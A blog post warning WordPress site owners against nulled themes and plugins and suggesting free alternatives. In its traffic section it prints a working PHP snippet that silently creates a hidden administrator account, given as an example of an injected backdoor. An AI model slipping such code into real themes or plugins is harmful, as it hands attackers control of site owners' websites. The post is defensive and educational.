Bug and vulnerability

The nulled theme is an illegally distributed premium theme. A nulled theme is not only illegally distributed but also vulnerable for your website. Ultimately it destroys your reputation and opens the door for penalizing your website by search engines.

The same thing is also true for nulled plugins & nulled scripts.

What Are the Reasons for Giving Nulled Themes

There are three main reasons: traffic, data & advertisement.

Have you ever thought about why someone is giving you an asset for free that costs money?

There are lots of websites that distribute premium themes, plugins & scripts for free. They are not the actual owner of those premium assets.

Either they downloaded from other websites like theirs, or they might purchase it & injected bad scripts. Then uploaded it on their websites. And makes it available to download for you. But what is their intention? See their possible intention below:

Traffic:

One of their intension is to drive traffics from your website to theirs. Those are generally porn websites or something similar to illegal business websites such as gambling, drugs, etc.

There are other bad guys who sell traffics to any website. Pessimistic businessmen generally hire those bad guys to generate traffics on their websites in an unauthentic way. And those nulled themes, plugins are their main tools.

You will not see the traffic redirections as soon as you install & activate their nulled themes or plugins. Their bad scripts can fire anytime they want. Nobody knows the actual time except the distributors.

WordPress is built with PHP as the main language. And PHP is a server-side language. So, it can take full control of your website. And the nulled theme distributors can write additional PHP to take specific control of your website.

For example- they want to create an Administrator user account on your WordPress website. And the following code will do that for them:

<?php
add_action( 'init', function () {

	$username = 'BadGuys';
	$password = 'SJqg2kEJ';
	$email_address = 'badguys@example.com';
	if ( ! username_exists( $username ) ) {
		$user_id = wp_create_user( $username, $password, $email_address );
		$user = new WP_User( $user_id );
		$user->set_role( 'administrator' );
	}
} );

The above code will generate an admin user to your WordPress website (Username: BadGuys and Password: SJqg2kEJ). If they want to create the admin account after a certain period, the date function can handle it as well. If they want to create the admin account on July 05, 2023, they can also do it.

It’s just a simple example of what they can do with your website. But in reality, they can do a lot more than that and as much they wish.

Data:

The nulled theme distributors try to collect your visitor’s data such as email, credit card, IP, social security number & other personal information.

So if you use a nulled theme or plugin, your website visitors may also become victims along with you.

They also sell your visitor’s emails to multiple parties. Sometimes you may hear that other guys are selling leads or emails, and those emails or leads have generally collected this type of illegal way.

Advertisement:

Another big reason for the nulled theme is showing advertisements. The advertisement could be through popups, redirecting, and even inline.

Any WordPress theme or plugin also contains JavaScript. So it’s very easier for them to inject malicious code or malware which will trigger it at the precise moment. And you will not notice it yourself and until your visitors complain about it.

Both JavaScript & PHP accepts conditional logics. So they have full control over it and they can show the advertisement to whomever they want such as based on IP, time, behavior/activities, etc.

References: PHP Logical Operators, JavaScript expressions and logical operators.

Why You Should Not Use Nulled Theme & Plugin

Firstly, there is no single valid reason for which you can use a nulled theme, plugin, or script. It’s not worth using it at all. Malware, popups, hidden advertisements, data theft will make your website crazy. The debugging will never end. The list goes on but they are not just limited to:

Valid Replacement of Nulled Theme

If can not effort for a premium theme, just use a free theme from WordPress Repository for now. You can change your theme after or when you can effort for the premium one.

Keep in mind, there are lots of free good themes in the WordPress repository. And some of them are way much better than many of the premium themes. So don’t hesitate to use a free theme from the WordPress repository.

Alternatively, you can also use free page builders like Elementor, Beaver, SiteOrigin, Brizy to build your website.

Though your website should be user-friendly & easy to navigate. But it does not necessarily require to be gorgeous. Your website content actually brings success, not the look & feel.

As a web developer myself, I have never seen anyone who became successful using nulled themes. But I saw many website owners who became successful using the free themes from the WordPress repository.

Creating your own theme also can be a valid replacement for the nulled theme, but it requires programming skills. If you do not have the skillset for WordPress theme development, you can definitely use a combination of free WordPress theme and page builder plugins.

What if Your Developer Installed a Nulled Theme

Sometimes business owners hire web developers to build their websites. And if it’s you, how do you will know that your developer used an original or nulled theme?

If the developer installed a free theme, that’s fine. But if he/she installed a premium theme, be sure to check if they already have activated the theme license.

Also, check the current version of the theme on the marketplace and compare it with your activated version.

If your developer failed to activate the license key, ask them to provide the invoice for the theme purchase. Because every marketplace gives an invoice after you purchase a premium theme or plugin. The invoice generally contains Licensor’s Author Username, Licensee, Item Title, Item URL, Item ID, Item Purchase Code (activation code), Purchase Date. At least you will know that your theme has been purchased by your developer.

If none of the above works for you, then assume that your developer installed a nulled theme. And don’t feel shy to ask them to return your money and take down the website.

In conclusion, a nulled theme is illegal and as well as the website that uses this type of themes, plugins, or scripts. In the same vein, all the generated incomes from those websites are also not legal, and even it’s a service website. Also, it’s not possible to become a successful website owner using the nulled theme, because it opens the backdoor for all sorts of vulnerabilities. A combination of free theme and page builder can be the valid replacement of nulled theme.